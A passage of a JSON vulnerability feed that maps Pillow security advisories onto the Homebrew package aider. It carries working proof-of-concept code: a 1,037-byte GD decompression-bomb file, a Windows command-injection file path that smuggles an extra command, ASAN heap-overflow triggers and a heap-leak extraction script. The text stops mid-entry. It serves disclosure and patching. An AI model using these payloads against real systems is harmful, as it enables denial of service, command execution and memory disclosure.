collected","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55379"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-55380","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-phj9-mv4w-65pm","BIT-pillow-2026-55380","CVE-2026-55380","PYSEC-2026-2256"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`","details":"## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50–61):**\n\n```python\ndef _open(self) -> None:\n s = self.fp.read(1037)\n if i16(s) not in [65534, 65535]:\n raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n self._mode = \"P\"\n self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each\n # NO _decompression_bomb_check() call here ←\n ...\n self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() → load_prepare() → Image.core.new(\"P\", (65535, 65535))\n# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24× above DecompressionBombError threshold** |\n| Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size) # ← present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig = struct.pack(\">H\", 0xFFFE) # 65534 = GD 2.x magic\nw = struct.pack(\">H\", 65535) # max width\nh = struct.pack(\">H\", 65535) # max height\ntrue_color = b\"\\x00\" # 0 = palette mode\ntindex = struct.pack(\">I\", 0xFFFFFFFF) # > 255 = no transparency\ncolors_used = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\" No _decompression_bomb_check called — 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() → Image.core.new(\"P\", (65535, 65535))\ntry:\n img.load()\nexcept OSError:\n print(f\"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold\")\nprint(f\"[MATH] Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n No _decompression_bomb_check called — 4.3 GB allocation not blocked\n[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted\n\n[MATH] 4,294,836,225 pixels = 24.0× error threshold\n[MATH] Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check\nimg.load() # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No — any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55380"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-55798","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-4x4j-2g7c-83w6","BIT-pillow-2026-55798","CVE-2026-55798","PYSEC-2026-2257"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","details":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `&` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n format = \"PNG\"\n options = {\"compress_level\": 1, \"save_all\": True}\n\n def get_command(self, file: str, **options: Any) -> str:\n return (\n f'start \"Pillow\" /WAIT \"{file}\" ' # ← f-string, no escaping\n \"&& ping -n 4 127.0.0.1 >NUL \"\n f'&& del /f \"{file}\"' # ← same path, unescaped again\n )\n\n def show_file(self, path: str, **options: Any) -> int:\n if not os.path.exists(path):\n raise FileNotFoundError\n subprocess.Popen(\n self.get_command(path, **options),\n shell=True, # ← shell=True\n creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n ) # nosec # ← Bandit warning suppressed manually\n return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n def get_command(self, file: str, **options: Any) -> str:\n command = \"open -a Preview.app\"\n command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&\"\n return command # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" & echo PWNED & echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" & echo PWNED & echo \"\" && ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\" → fails (file not found)\n# ├─ & echo PWNED → INJECTED COMMAND\n# └─ & echo \"\" && ping ... → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload = f'echo REAL_INJECTED > \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" & {payload} & echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker) # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read() # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59197","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-xj96-63gp-2gmr","BIT-pillow-2026-59197","CVE-2026-59197","PYSEC-2026-3454"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`","details":"### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n def filter(self, image):\n if image.mode == \"P\":\n msg = \"cannot filter palette images\"\n raise ValueError(msg)\n image = image.expand(self.size // 2, self.size // 2)\n return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin < 0 && ymargin < 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x < xmargin; x++) {\n imOut->image[yout][x] = imIn->image[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size & 1)) {\n return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {\n return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin < 0 || ymargin < 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin > (INT_MAX - imIn->xsize) / 2 ||\n ymargin > (INT_MAX - imIn->ysize) / 2) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9695"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59198","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-fj7v-r99m-22gq","BIT-pillow-2026-59198","CVE-2026-59198","PYSEC-2026-3494"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images","details":"### Summary\n\nPillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"`\nimage. Adjacent process heap bytes can be copied into the generated TGA file.\n\nThe bug is reachable through the public save API:\n\n```python\nim.save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nOlder affected Pillow versions use the equivalent public option `rle=True`.\n\nFor mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)`\nbytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.\n\nThe maximum valid TGA width is `65535`. At that width:\n\n```text\nallocated packed row buffer: 8192 bytes\nencoder byte-offset walk: 65535 bytes\nmaximum OOB window per row: 57343 bytes\n```\n\nOn non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized\n`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,\ncovering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,\nprivate API, or malformed input file was used. The disclosure is emitted across\nmany TGA packet payload copies of at most `128` bytes each, not one large\n`memcpy()`.\n\n### Details\n\n`src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the\n`tga_rle` encoder when RLE compression is requested.\n\n`src/encode.c:_setimage()` allocates the row buffer using the packed-bit\nformula:\n\n```c\nstate->bytes = (state->bits * state->xsize + 7) / 8;\nstate->buffer = (UINT8 *)calloc(1, state->bytes);\n```\n\nFor mode `\"1\"`, `state->bits == 1`.\n\n`src/libImaging/TgaRleEncode.c` then computes:\n\n```c\nbytesPerPixel = (state->bits + 7) / 8;\n```\n\nThis becomes `1`, and the encoder uses pixel indexes as byte offsets:\n\n```c\nstatic int\ncomparePixels(const UINT8 *buf, int x, int bytesPerPixel) {\n buf += x * bytesPerPixel;\n return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;\n}\n```\n\nThe packet payload `memcpy()` later copies those out-of-bounds source bytes into\nthe output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy\none representative byte:\n\n```c\nmemcpy(\n dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount\n);\n```\n\nA width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN\nheap-buffer-overflow read. Wider images increase the adjacent heap window and\nthe amount of heap data that can be serialized.\n\n### PoC\n\n#### Minimal ASAN trigger\n\n```python\nimport io\nfrom PIL import Image\n\nout = io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n i = 18\n pixel = 0\n oob = bytearray()\n\n while pixel < WIDTH:\n descriptor = data[i]\n i += 1\n count = (descriptor & 0x7F) + 1\n\n if descriptor & 0x80:\n value = data[i]\n i += 1\n if pixel + count - 1 >= ROW_BYTES:\n oob.append(value)\n else:\n values = data[i : i + count]\n i += count\n oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n pixel += count\n\n return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n out = io.BytesIO()\n Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n oob = extract_oob_payload(out.getvalue())\n if len(oob) > len(best):\n best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59198"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9709"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59199","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-6r8x-57c9-28j4","BIT-pillow-2026-59199","CVE-2026-59199","PYSEC-2026-3451"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","details":"### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 << 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", &source, &x0, &y0, &x1, &y1, ...);\nstatus = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize > imOut->xsize) {\n xsize = imOut->xsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 << 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size = 4 * W\nwrite range = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2 -> writes 8 bytes before the row\nW = 1024 -> writes 4096 bytes before the row\nW = 65536 -> writes 256 KiB before the row\nW = 1000000 -> writes about 4 MiB before the 